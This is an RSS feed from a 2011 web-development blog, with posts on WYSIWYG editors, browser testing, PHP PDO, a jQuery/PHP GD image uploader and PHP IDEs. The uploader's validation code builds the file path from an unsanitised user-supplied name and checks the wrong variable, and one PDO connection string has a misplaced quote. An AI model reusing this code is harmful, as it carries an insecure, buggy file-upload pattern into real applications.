<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Dynamic Dream</title>
	<atom:link href="http://roobon.net/feed/" rel="self" type="application/rss+xml" />
	<link>http://roobon.net</link>
	<description></description>
	<lastBuildDate>Sat, 03 Dec 2011 11:26:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>10 best WYSIWYG Text and HTML Editors for Your Next Project</title>
		<link>http://roobon.net/2011/08/04/10-best-wysiwyg-text-and-html-editors-for-your-next-project/</link>
		<comments>http://roobon.net/2011/08/04/10-best-wysiwyg-text-and-html-editors-for-your-next-project/#comments</comments>
		<pubDate>Thu, 04 Aug 2011 16:59:40 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[Tools and Tips]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=530</guid>
		<description><![CDATA[Allowing users, and clients to format their text without delving into code has long been on developers priority lists, but these days, providing this usability is far easier than it once was. Here are 10 WYSIWYG editors that are commonly used, and are worth a look in if its something you need for a project. [...]]]></description>
			<content:encoded><![CDATA[<p>Allowing users, and clients to format their text without delving into code has long been on developers priority lists, but these days, providing this usability is far easier than it once was. Here are 10 WYSIWYG editors that are commonly used, and are worth a look in if its something you need for a project.</p>
<h2>1. <a href="http://nicedit.com/">NicEdit</a></h2>
<p><a href="http://nicedit.com/demos.php" target="_blank">Demo</a> | <a href="http://nicedit.com/download.php" target="_blank">Download</a></p>
<p><a href="http://roobon.net/wp-content/uploads/2011/08/NicEdit.jpg"><img class="alignleft size-full wp-image-535" title="NicEdit" src="http://roobon.net/wp-content/uploads/2011/08/NicEdit.jpg" alt="" width="503" height="93" /></a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>2. <a href="http://tinymce.moxiecode.com/">TinyMCE</a></h2>
<p><a href="http://tinymce.moxiecode.com/examples/full.php" target="_blank">Demo</a> | <a href="http://tinymce.moxiecode.com/download.php" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>3. <a href="http://ckeditor.com/">CKEditor</a></h2>
<p><a href="http://ckeditor.com/demo" target="_blank">Demo</a> | <a href="http://ckeditor.com/download" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>4. <a href="http://developer.yahoo.com/yui/editor/">YUI Rich Text Editor</a></h2>
<p><a href="http://developer.yahoo.com/yui/examples/editor/editor_adv_editor.html" target="_blank">Demo</a> | <a href="http://developer.yahoo.com/yui/download/" target="_blank">Download</a></p>
<p>&nbsp;</p>
<h2>5. <a href="http://markitup.jaysalvat.com/home/">MarkItUp!</a></h2>
<p><a href="http://markitup.jaysalvat.com/examples/" target="_blank">Demo</a> | <a href="http://markitup.jaysalvat.com/downloads/" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>6. <a href="http://freetextbox.com/">FreeTextBox</a></h2>
<p><a href="http://freetextbox.com/demos/" target="_blank">Demo</a> | <a href="http://freetextbox.com/download/" target="_blank">Download</a></p>
<p>&nbsp;</p>
<h2>7. <a href="http://cheeaun.github.com/mooeditable/">MooEditable</a></h2>
<p><a href="http://cheeaun.github.com/mooeditable/" target="_blank">Demo</a> | <a href="http://cheeaun.github.com/mooeditable/" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>8. <a href="http://www.openwebware.com/">OpenWysiwyg</a></h2>
<p><a href="http://www.openwebware.com/wysiwyg/demo.shtml" target="_blank">Demo</a> | <a href="http://www.openwebware.com/download.shtml" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>9. <a href="http://www.solmetra.com/en/disp.php/en_products/en_spaw/en_spaw_intro">Spaw Editor</a></h2>
<p><a href="http://www.solmetra.com/en/disp.php/en_products/en_spaw/en_spaw_demo" target="_blank">Demo</a> | <a href="http://www.solmetra.com/en/disp.php/en_products/en_spaw/en_spaw_download" target="_blank">Download</a></p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<h2>10. <a href="http://jhtmlarea.codeplex.com/">jHtmlArea</a></h2>
<p><a href="http://pietschsoft.com/demo/jHtmlArea/" target="_blank">Demo</a> |<a href="http://jhtmlarea.codeplex.com/releases/view/30759" target="_blank"> Download</a></p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/08/04/10-best-wysiwyg-text-and-html-editors-for-your-next-project/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Top 5 Ways to Browser-Test your Website</title>
		<link>http://roobon.net/2011/07/02/top-5-ways-to-browser-test-your-website/</link>
		<comments>http://roobon.net/2011/07/02/top-5-ways-to-browser-test-your-website/#comments</comments>
		<pubDate>Sat, 02 Jul 2011 05:49:23 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[Tools and Tips]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=510</guid>
		<description><![CDATA[The great joy that comes from being a web designer is getting to view your new website in a variety of browsers, only to find that each renders the site at varying levels of consistency – namely Internet Explorer 7 and below. This video quick tip will demonstrate the five most popular services and tools [...]]]></description>
			<content:encoded><![CDATA[<p>The great joy that comes from being a web designer is getting to view  your new website in a variety of browsers, only to find that each  renders the site at varying levels of consistency – namely Internet  Explorer 7 and below. This video quick tip will demonstrate the five  most popular services and tools for testing a website in a variety of  browsers.</p>
<p><iframe src="http://www.screenr.com/embed/cJ1" width="550" height="350" frameborder="0"></iframe></p>
<p><strong><a href="http://browsershots.org/">Browsershots</a></strong></p>
<p><a href="http://roobon.net/wp-content/uploads/2011/07/browserShots.jpg"></a><a href="http://browsershots.org/"><img class="alignnone size-full wp-image-518" title="browserShots" src="http://roobon.net/wp-content/uploads/2011/07/browserShots.jpg" alt="" width="600" height="358" /></a></p>
<p>&nbsp;</p>
<h3><a href="https://browserlab.adobe.com/index.html">Adobe Browserlab</a></h3>
<p><a href="https://browserlab.adobe.com/en-us/index.html"><img class="alignnone size-full wp-image-520" title="adobeBrowserlab" src="http://roobon.net/wp-content/uploads/2011/07/adobeBrowserlab.jpg" alt="" width="600" height="358" /></a></p>
<p>&nbsp;</p>
<h3><a href="http://www.litmusapp.com/">Litmusapp (paid service)</a></h3>
<p><a href="http://roobon.net/wp-content/uploads/2011/07/litmus.jpg"><img class="alignnone size-full wp-image-522" title="litmus" src="http://roobon.net/wp-content/uploads/2011/07/litmus.jpg" alt="" width="600" height="358" /></a></p>
<p>&nbsp;</p>
<h3><a href="http://www.vmware.com/products/fusion/">VMware Fusion</a></h3>
<p><a href="http://roobon.net/wp-content/uploads/2011/07/vmware.jpg"><img class="alignnone size-full wp-image-524" title="vmware" src="http://roobon.net/wp-content/uploads/2011/07/vmware.jpg" alt="" width="600" height="358" /></a></p>
<p><em>Please note that there are multiple applications like this. Choose  the one that works best for you. I prefer VMWare Fusion, though  admittedly, I don’t have a huge amount of experience with the others. </em></p>
<h3><a href="http://www.my-debugbar.com/wiki/IETester/HomePage">IE Tester</a></h3>
<p><a href="http://roobon.net/wp-content/uploads/2011/07/ieTester.jpg"><img class="alignnone size-full wp-image-525" title="ieTester" src="http://roobon.net/wp-content/uploads/2011/07/ieTester.jpg" alt="" width="600" height="358" /></a></p>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/07/02/top-5-ways-to-browser-test-your-website/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Why you Should be using PHP’s PDO for Database Access</title>
		<link>http://roobon.net/2011/06/17/why-you-should-be-using-php%e2%80%99s-pdo-for-database-access/</link>
		<comments>http://roobon.net/2011/06/17/why-you-should-be-using-php%e2%80%99s-pdo-for-database-access/#comments</comments>
		<pubDate>Fri, 17 Jun 2011 18:56:12 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[Databases]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=505</guid>
		<description><![CDATA[Many PHP programmers learned how to access databases by using either the mysql or mysqli extensions. Since PHP 5.1, there’s been a better way. PHP Data Objects (PDO) provide methods for prepared statements and working with objects that will make you far more productive! PDO Introduction “PDO – PHP Data Objects – is a database [...]]]></description>
			<content:encoded><![CDATA[<p>Many PHP programmers learned how to access databases by using either the  mysql or mysqli extensions. Since PHP 5.1, there’s been a better way. <a href="http://www.php.net/manual/en/intro.pdo.php">PHP Data Objects</a> (PDO) provide methods for prepared statements and working with objects that will make you far more productive!</p>
<h2>PDO Introduction</h2>
<blockquote><p>“PDO – PHP Data Objects – is a database access layer providing a uniform method of access to multiple databases.”</p></blockquote>
<p>It doesn’t account for database-specific syntax, but can allow for the  process of switching databases and platforms to be fairly painless,  simply by switching the connection string in many instances.</p>
<p>&#8212;- picture &#8212;-</p>
<p>&nbsp;</p>
<p>This tutorial isn’t meant to be a complete how-to on SQL. It’s written  primarily for people currently using the mysql or mysqli extension to  help them make the jump to the more portable and powerful PDO.</p>
<h3>Database Support</h3>
<p>The extension can support any database that a PDO driver has been  written for. At the time of this writing, the following database drivers  are available:</p>
<ul>
<li>PDO_DBLIB ( FreeTDS / Microsoft SQL Server / Sybase )</li>
<li>PDO_FIREBIRD ( Firebird/Interbase 6 )</li>
<li>PDO_IBM ( IBM DB2 )</li>
<li>PDO_INFORMIX ( IBM Informix Dynamic Server )</li>
<li>PDO_MYSQL ( MySQL 3.x/4.x/5.x )</li>
<li>PDO_OCI ( Oracle Call Interface )</li>
<li>PDO_ODBC ( ODBC v3 (IBM DB2, unixODBC and win32 ODBC) )</li>
<li>PDO_PGSQL ( PostgreSQL )</li>
<li>PDO_SQLITE ( SQLite 3 and SQLite 2 )</li>
<li>PDO_4D ( 4D )</li>
</ul>
<p>All of these drivers are not necessarily available on your system; here’s a quick way to find out which drivers you have:</p>
<p>print_r(PDO::getAvailableDrivers());</p>
<p>&nbsp;</p>
<h2>Connecting</h2>
<p>Different databases may have slightly different connection methods.  Below, the method to connect to some of the most popular databases are  shown. You’ll notice that the first three are identical, other then the  database type – and then SQLite has its own syntax.</p>
<p>&#8212; picture &#8212;</p>
<pre class="brush:php">   1. try {
   2.   # MS SQL Server and Sybase with PDO_DBLIB
   3.   $DBH = new PDO("mssql:host=$host;dbname=$dbname, $user, $pass");
   4.   $DBH = new PDO("sybase:host=$host;dbname=$dbname, $user, $pass");
   5.
   6.   # MySQL with PDO_MYSQL
   7.   $DBH = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
   8.
   9.   # SQLite Database
  10.   $DBH = new PDO("sqlite:my/database/path/database.db");
  11. }
  12. catch(PDOException $e) {
  13.     echo $e-&gt;getMessage();
  14. }</pre>
<p>Please take note of the try/catch block – you should always wrap your  PDO operations in a try/catch, and use the exception mechanism – more  on this shortly. Typically you’re only going to make a single connection  – there are several listed to show you the syntax. $DBH stands for  ‘database handle’ and will be used throughout this tutorial.</p>
<p>You can close any connection by setting the handle to null.</p>
<pre class="brush:php"># # close the connection
# $DBH = null;</pre>
<p>You can get more information on database specific options and/or connection strings for other databases from <a href="http://www.php.net/manual/en/pdo.drivers.php">PHP.net</a>.</p>
<p>&nbsp;</p>
<h2>Exceptions and PDO</h2>
<p>PDO can use exceptions to handle errors, which means anything you do  with PDO should be wrapped in a try/catch block. You can force PDO into  one of three error modes by setting the error mode attribute on your  newly created database handle. Here’s the syntax:</p>
<p>&nbsp;</p>
<pre class="brush:php"># $DBH-&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_SILENT );
# $DBH-&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_WARNING );
# $DBH-&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );</pre>
<p>No matter what error mode you set, an error connecting will always  produce an exception, and creating a connection should always be  contained in a try/catch block.</p>
<h3>PDO::ERRMODE_SILENT</h3>
<p>This is the default error mode. If you leave it in this mode, you’ll  have to check for errors in the way you’re probably used to if you used  the mysql or mysqli extensions. The other two methods are more ideal for  DRY programming.</p>
<h3>PDO::ERRMODE_WARNING</h3>
<p>This mode will issue a standard PHP warning, and allow the program to continue execution. It’s useful for debugging.</p>
<h3>PDO::ERRMODE_EXCEPTION</h3>
<p>This is the mode you should want in most situations. It fires an  exception, allowing you to handle errors gracefully and hide data that  might help someone exploit your system. Here’s an example of taking  advantage of exceptions:</p>
<pre class="brush:php">   1. # connect to the database
   2. try {
   3.   $DBH = new PDO("mysql:host=$host;dbname=$dbname", $user, $pass);
   4.   $DBH-&gt;setAttribute( PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION );
   5.
   6.   # UH-OH! Typed DELECT instead of SELECT!
   7.   $DBH-&gt;prepare('DELECT name FROM people');
   8. }
   9. catch(PDOException $e) {
  10.     echo "I'm sorry, Dave. I'm afraid I can't do that.";
  11.     file_put_contents('PDOErrors.txt', $e-&gt;getMessage(), FILE_APPEND);
  12. }</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>&nbsp;</p>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/06/17/why-you-should-be-using-php%e2%80%99s-pdo-for-database-access/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Image Manipulation With jQuery and PHP GD</title>
		<link>http://roobon.net/2011/06/11/image-manipulation-with-jquery-and-php-gd/</link>
		<comments>http://roobon.net/2011/06/11/image-manipulation-with-jquery-and-php-gd/#comments</comments>
		<pubDate>Sat, 11 Jun 2011 08:38:18 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[Featured]]></category>
		<category><![CDATA[PHP I/O]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=331</guid>
		<description><![CDATA[One of the numerous advantages brought about by the explosion of jQuery and other JavaScript libraries is the ease with which you can create interactive tools for your site. When combined with server-side technologies such as PHP, this puts a serious amount of power at your finger tips. In this article, I’ll be looking at [...]]]></description>
			<content:encoded><![CDATA[<p>One of the numerous advantages brought about by the explosion of jQuery and other JavaScript libraries is the ease with which you can create interactive tools for your site. When combined with server-side technologies such as PHP, this puts a serious amount of power at your finger tips.</p>
<p>In this article, I’ll be looking at how to combine JavaScript/jQuery with PHP and, particularly, PHP’s GD library to create an image manipulation tool to upload an image, then crop it and finally save the revised version to the server. Sure, there are plugins out there that you can use to do this; but this article aims to show you what’s behind the process. You can download the source files (updated) for reference.</p>
<p>We’ve all seen this sort of Web application before — Facebook, Flickr, t-shirt-printing sites. The advantages are obvious; by including a functionality like this, you alleviate the need to edit pictures manually from your visitors, which has obvious drawbacks. They may not have access to or have the necessary skills to use Photoshop, and in any case why would you want to make the experience of your visitors more difficult?<br />
Before You Start</p>
<p>For this article, you would ideally have had at least some experience working with PHP. Not necessarily GD — I’ll run you through that part, and GD is very friendly anyway. You should also be at least intermediate level in JavaScript, though if you’re a fast learning beginner, you should be fine as well.</p>
<p>A quick word about the technologies you’ll need to work through this article. You’ll need a PHP test server running the GD library, either on your hosting or, if working locally, through something like XAMPP. GD has come bundled with PHP as standard for some time, but you can confirm this by running the phpinfo() function and verifying that it’s available on your server. Client-side-wise you’ll need a text editor, some pictures and a copy of jQuery.<br />
Setting Up The Files</p>
<p>And off we go, then. Set up a working folder and create four files in it: index.php, js.js, image_manipulation.php and css.css. index.php is the actual webpage, js.js and css.css should be obvious, while image_manipulation.php will store the code that handles the uploaded image and then, later, saves the manipulated version.</p>
<p>In index.php, first let’s add a line of PHP to start a PHP session and call in our image_manipulation.php file:</p>
<p>&nbsp;</p>
<p>After that, add in the DOCTYPE and skeleton-structure of the page (header, body areas etc) and call in jQuery and the CSS sheet via script and link tags respectively.</p>
<p>Add a directory to your folder, called imgs, which will receive the uploaded files. If you’re working on a remote server, ensure you set the permissions on the directory such that the script will be able to save image files in it.</p>
<p>First, let’s set up and apply some basic styling to the upload facility.<br />
The Upload Functionality</p>
<p>Now to some basic HTML. Let’s add a heading and a simple form to our page that will allow the user to upload an image and assign that image a name:</p>
<pre class="brush:xml">&lt;h1&gt;Image uploader and manipulator&lt;/h1&gt;
&lt;form method="POST" action="index.php" enctype="multipart/form-data"
id="imgForm"&gt;
	&lt;label for="img_upload"&gt;Image on your PC to upload&lt;/label&gt;
&lt;input name="img_upload" id="img_upload" type="file"&gt;

	&lt;label for="img_name"&gt;Give this image a name&lt;/label&gt;
&lt;input name="img_name" id="img_name" type="text"&gt;
&lt;input name="upload_form_submitted" type="submit"&gt;
&lt;/form&gt;
</pre>
<p>Please note that we specify enctype=’multipart/form-data’ which is necessary whenever your form contains file upload fields.</p>
<p>As you can see, the form is pretty basic. It contains 3 fields: an upload field for the image itself, a text field, so the user can give it a name and a submit button. The submit button has a name so it can act as an identifier for our PHP handler script which will know that the form was submitted.</p>
<p>Let’s add a smattering of CSS to our stylesheet:</p>
<pre class="brush:css">/* -----------------
| UPLOAD FORM
----------------- */
#imgForm { border: solid 4px #ddd; background: #eee; padding: 10px; margin: 30px;
width: 600px; overflow:hidden;}
	#imgForm label { float: left; width: 200px; font-weight: bold; color: #666;
clear:both; padding-bottom:10px; }
	#imgForm input { float: left; }
	#imgForm input[type="submit"] {clear: both; }
	#img_upload { width: 400px; }
	#img_name { width: 200px; }</pre>
<p>&nbsp;</p>
<p>&nbsp;</p>
<p>Now we have the basic page set up and styled. Next we need to nip into image_manipulation.php and prepare it to receive the submitted form. Which leads nicely on to validation…<br />
Validating The Form</p>
<p>Open up image_manipulation.php. Since we made a point above of including it into our HTML page, we can rest assured that when it’s called into action, it will be present in the environment.</p>
<p>Let’s set up a condition, so the PHP knows what task it is being asked to do. Remember we named our submit button upload_form_submitted? PHP can now check its existence, since the script knows that it should start handling the form.</p>
<p>This is important because, as I said above, the PHP script has two jobs to do: to handle the uploaded form and to save the manipulated image later on. It therefore needs a technique such as this to know which role it should be doing at any given time.</p>
<pre class="brush:php">/* -----------------
| UPLOAD FORM - validate form and handle submission
----------------- */

if (isset($_POST['upload_form_submitted'])) {
	//code to validate and handle upload form submission here
}</pre>
<p>&nbsp;</p>
<p>So if the form was submitted, the condition resolves to true and whatever code we put inside, it will execute. That code will be validation code. Knowing that the form was submitted, there are now five possible obstacles to successfully saving the file: 1) the upload field was left blank; 2) the file name field was left blank; 3) both these fields were filled in, but the file being uploaded isn’t a valid image file; 4) an image with the desired name already exists; 5) everything is fine, but for some reason, the server fails to save the image, perhaps due to file permission issues. Let’s look at the code behind picking up each of these scenarios, should any occur, then we’ll put it all together to build our validation script.</p>
<p>Combined into a single validation script, the whole code looks as follows.</p>
<pre class="brush:php">/* -----------------
| UPLOAD FORM - validate form and handle submission
----------------- */

if (isset($_POST['upload_form_submitted'])) {

	//error scenario 1
	if (!isset($_FILES['img_upload']) || empty($_FILES['img_upload']['name'])) {
		$error = "Error: You didn't upload a file";

	//error scenario 2
	} else if (!isset($_POST['img_name']) || empty($_FILES['img_upload'])) {
		$error = "Error: You didn't specify a file name";
	} else {

		$allowedExtensions = array('jpg', 'jpeg', 'gif', 'png');
		preg_match('/\.('.implode($allowedExtensions, '|').')$/', $_FILES['img_upload']['name'], $fileExt);
		$newPath = 'imgs/'.$_POST['img_name'].'.'.$fileExt[0];

		//error scenario 3
		if (file_exists($newPath)) {
			$error = "Error: A file with that name already exists";

		//error scenario 4
		} else if (!in_array(substr($fileExt[0], 1), $allowedExtensions)) {
			$error = 'Error: Invalid file format - please upload a picture file';

		//error scenario 5
		} else if (!copy($_FILES['img_upload']['tmp_name'], $newPath)) {
			$error = 'Error: Could not save file to server';

		//...all OK!
		} else {
			$_SESSION['newPath'] = $newPath;
			$_SESSION['fileExt'] = $fileExt;
		}
	}
}</pre>
]]></content:encoded>
			<wfw:commentRss>http://roobon.net/2011/06/11/image-manipulation-with-jquery-and-php-gd/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>The Big PHP IDE Test: Why Use One And Which To Choose</title>
		<link>http://roobon.net/2011/06/05/smashing-magazine-the-big-php-ide-test-why-use-one-and-which-to-choose/</link>
		<comments>http://roobon.net/2011/06/05/smashing-magazine-the-big-php-ide-test-why-use-one-and-which-to-choose/#comments</comments>
		<pubDate>Sun, 05 Jun 2011 10:54:12 +0000</pubDate>
		<dc:creator>roobon</dc:creator>
				<category><![CDATA[IDE]]></category>

		<guid isPermaLink="false">http://roobon.net/?p=97</guid>
		<description><![CDATA[Everyone wants to be more productive, make fewer mistakes and write good code. Of course, that all depends on you, but in most cases integrated development environments (IDEs) can help you achieve those goals more easily. Unfortunately, choosing the right IDE is very difficult because a lot needs to be considered. And the website of [...]]]></description>
			<content:encoded><![CDATA[<p>Everyone wants to be more productive, make fewer mistakes and write  good code. Of course, that all depends on you, but in most cases  integrated development environments (IDEs) can help you achieve those  goals more easily. Unfortunately, choosing the right IDE is very  difficult because a lot needs to be considered. And the website of  almost every IDE <a href="http://www.zend.com/en/products/studio/compare">tells us it is the best one</a>.</p>
<p>In this post, we’ll <strong>take a close look at the most popular PHP IDEs</strong>,  exploring their functions, comparing them in a table and drawing some  conclusions. Hopefully, you’ll get an idea of what each PHP IDE has to  offer and which one best fits your needs.</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/ides_best.png"><img class="alignnone size-full wp-image-98" title="ides_best" src="http://roobon.net/wp-content/uploads/2011/06/ides_best.png" alt="" width="577" height="299" /></a></p>
<p>For a long time, I worked in PHP only for fun. I’ve developed Java  Web applications with Eclipse and IntelliJ IDEA. These are a great Java  IDEs. Not surprisingly, I wanted something similar for PHP. The  following are some of the features that I found needed to be considered.</p>
<h3>IDE Features</h3>
<h4>1. Syntax highlighting</h4>
<p>Good syntax highlighting improves code readability a lot. Really! Just look at this:</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/syntax_highlighting.png"><img class="alignnone size-full wp-image-99" title="syntax_highlighting" src="http://roobon.net/wp-content/uploads/2011/06/syntax_highlighting.png" alt="" width="622" height="400" /></a></p>
<p>&nbsp;</p>
<h4>2. Code completion</h4>
<p>Automatic code suggestions can help the developer avoid having to type so much. If it supports custom classes and <a href="http://www.phpdoc.org/">phpDoc</a>, it can even save you from having to read project documentation.</p>
<p>Good code completion can also prevent typos. For example, if typing <kbd>$cotroller-&gt;</kbd> does not show you any suggestions, you’ll know something is wrong. Uh oh… it should be <kbd>$co<strong>n</strong>troller</kbd>!</p>
<p>Poor code completion can slow you down if too many variants are shown or your class methods are not picked up.</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/code_completion.png"><img class="alignnone size-full wp-image-100" title="code_completion" src="http://roobon.net/wp-content/uploads/2011/06/code_completion.png" alt="" width="353" height="166" /></a></p>
<p>&nbsp;</p>
<p>It is also good to have file name completion in HTML <kbd>src="</kbd> and PHP <kbd>include</kbd> and <kbd>require</kbd>.</p>
<p>&nbsp;</p>
<h4>3. Navigation</h4>
<p>One of the most boring things is trying to find where a certain  variable has been defined or used. Some good IDEs can help with “GoTo”  actions, like go to definition.</p>
<p>Another important feature is search. Searching should not take a long  time, even with large projects. Even better is if the IDE lets you move  quickly to the next occurrence of a search phrase, like Firefox does  with its Quick Find feature.</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/code_navigation.png"><img class="alignnone size-full wp-image-105" title="code_navigation" src="http://roobon.net/wp-content/uploads/2011/06/code_navigation.png" alt="" width="497" height="162" /></a></p>
<h4>4. Errors and warnings highlighting</h4>
<p>On-the-fly syntax checking can prevent various typos and common  programming mistakes. In the example below, the IDE indicates that you  may have used <strong>=</strong> instead of <strong>==</strong>:</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/warinigs_and_errors.png"><img class="alignnone size-full wp-image-106" title="warinigs_and_errors" src="http://roobon.net/wp-content/uploads/2011/06/warinigs_and_errors.png" alt="" width="537" height="184" /></a></p>
<p>&nbsp;</p>
<p>The more the IDE detects, the better — except false positives, of course.</p>
<p>&nbsp;</p>
<h4>5. Refactoring and code generation</h4>
<p>Refactoring is basically a set of techniques for turning weak code  into solid code. Its implementation in PHP IDEs is very weak compared to  that of compiled-language IDEs, such as Java and C, but it’s still very  useful.</p>
<p>Very basic PHP refactoring includes:</p>
<ul>
<li>“Move,” which updates all includes and requires when moving a file to another directory.</li>
<li>“Rename,” which renames something and ensures it is renamed throughout the project.</li>
<li>“Safe delete,” which ensures deletion of a file does not harm other parts of the project.</li>
</ul>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/refactor_rename.png"><img class="alignnone size-full wp-image-107" title="refactor_rename" src="http://roobon.net/wp-content/uploads/2011/06/refactor_rename.png" alt="" width="280" height="102" /></a></p>
<p>In addition to basic refactoring, some IDEs can generate code for class  constructors, getters/setters and even stub methods for a parent class.</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/code_generation.png"><img class="alignnone size-full wp-image-110" title="code_generation" src="http://roobon.net/wp-content/uploads/2011/06/code_generation.png" alt="" width="351" height="194" /></a></p>
<p>&nbsp;</p>
<h4>6. Debugging</h4>
<p>Debugging is not so critical in PHP because you can add <kbd>echo</kbd>s or use something like <a href="http://www.firephp.org/">FirePHP</a> without even having to recompile your code. But for complex applications in which you need to add <kbd>echo</kbd> after each line to see what’s going on, debugging can save you hours.</p>
<p>&nbsp;</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/debugger.png"><img class="alignnone size-full wp-image-111" title="debugger" src="http://roobon.net/wp-content/uploads/2011/06/debugger.png" alt="" width="390" height="150" /></a></p>
<p>&nbsp;</p>
<p>If the IDE is good enough, it provides you with step-by-step debugging  and lets you see the current values of variables in scope.</p>
<h4>7. Versioning system</h4>
<p>Versioning is extremely useful for both team and one-person  development. It shows what changes have been made to a file, when they  were made and by whom. A good IDE allows you to visually compare  revisions, copy changes from one version to another, revert to previous  states and merge changes made by different team members.</p>
<p>&nbsp;</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/code_diff.png"><img class="alignnone size-full wp-image-112" title="code_diff" src="http://roobon.net/wp-content/uploads/2011/06/code_diff.png" alt="" width="683" height="268" /></a></p>
<p>&nbsp;</p>
<p>When performing common checks and commits, integrating a versioning  system such as CVS, SVN, git or Mercurial in your IDE is usually much  better than running a separate application.</p>
<p>&nbsp;</p>
<h4>8. Client-side features</h4>
<p>Using PHP alone is very rare. CSS and JavaScript are almost always  somewhere in your application. So, good code completion, highlighting,  navigation and perhaps some refactoring would be just as beneficial for  the other languages and technologies you use in conjunction with PHP.</p>
<p>&nbsp;</p>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/html_completion.png"><img class="alignnone size-full wp-image-113" title="html_completion" src="http://roobon.net/wp-content/uploads/2011/06/html_completion.png" alt="" width="393" height="269" /></a></p>
<p>&nbsp;</p>
<h3>How To Choose A Good One?</h3>
<p>Every IDE provides a lot of features. Some of those features are very  useful, some are not. Here are some guidelines to follow to narrow down  the one for you:</p>
<ul>
<li>Try free ones first. Their feature set may be enough for you, and you wouldn’t need to pay for a license.</li>
<li>First, make sure the features you want are ones you <em>really</em> need. If they are, check that they work properly in your IDE of choice.</li>
<li>If you find one IDE that fits well but is missing one or two features, try specialized tools.</li>
<li>Once you choose an IDE, play with it for a week before implementing  it in a big project. You may find your current working habits are too  strong to allow you to feel comfortable with it.</li>
</ul>
<h3>A Comparison Table</h3>
<p><a href="http://roobon.net/wp-content/uploads/2011/06/ide_filter.png"><img class="alignnone size-full wp-image-114" title="ide_filter" src="http://roobon.net/wp-content/uploads/2011/06/ide_filter.png" alt="" width="300" height="420" /></a></p>
<p>&nbsp;</p>
<p>Along with <a href="http://simplecoding.org/">Vladimir Statsenko</a>, who helped with the section on Aptana, I’ve prepared this <a href="http://spreadsheets.google.com/ccc?key=pV8XyUSUOM7ET07rn4n7NYA">comparison table</a>.</p>
<h4>What Was Covered</h4>
<p><strong>Eclipse-based IDEs</strong><br />
PDT, Zend Studio 6, Aptana PHP and Aptana Studio Pro are built on the  Eclipse platform. That means you can use any of the thousands of Eclipse  plug-ins out there. If a feature you need is not integrated in the IDE  itself, it is most likely available as a third party plug-in.</p>
<p>Eclipse PHP IDEs were the first freeware IDEs with true IDE  capabilities, such as complex code completion, code navigation, projects  support, etc. Most of them are still free and very powerful.</p>
<p><strong>NetBeans</strong><br />
NetBeans is the new bright kid on the block, but not built on the  Eclipse platform. It has most of the features of other IDEs and yet more  still. And it’s free, too.</p>
<p>Development of this IDE is very public, open and rapid. Following the  development blog and testing new builds as they come out is very  interesting, even if there is already a stable version available (v6.5).</p>
<h4>What Was Not Covered</h4>
<p>There are plenty of powerful notepads such as PSPad, Notepad++,  TextMate, vim and Emacs. Some are very similar to IDEs and even better  if you want a good text editor but not the full IDE experience.  Reviewing all of the good IDEs out there would not be possible (there  are so many), so only the major players are compared here.</p>
<h4>PHP IDEs We Tested</h4>
<p>Here is the list of PHP IDEs we included in our review:</p>
<ul>
<li>PDT 1</li>
<li>PDT 2.0</li>
<li>Zend Studio 6</li>
<li>NetBeans 6.5</li>
<li>NetBeans 7 (development version)</li>
<li>Aptana PHP</li>
<li>Aptana Studio Pro</li>
<li>Codelobster *</li>
<li>Nusphere PhpED 5.6 *</li>
</ul>
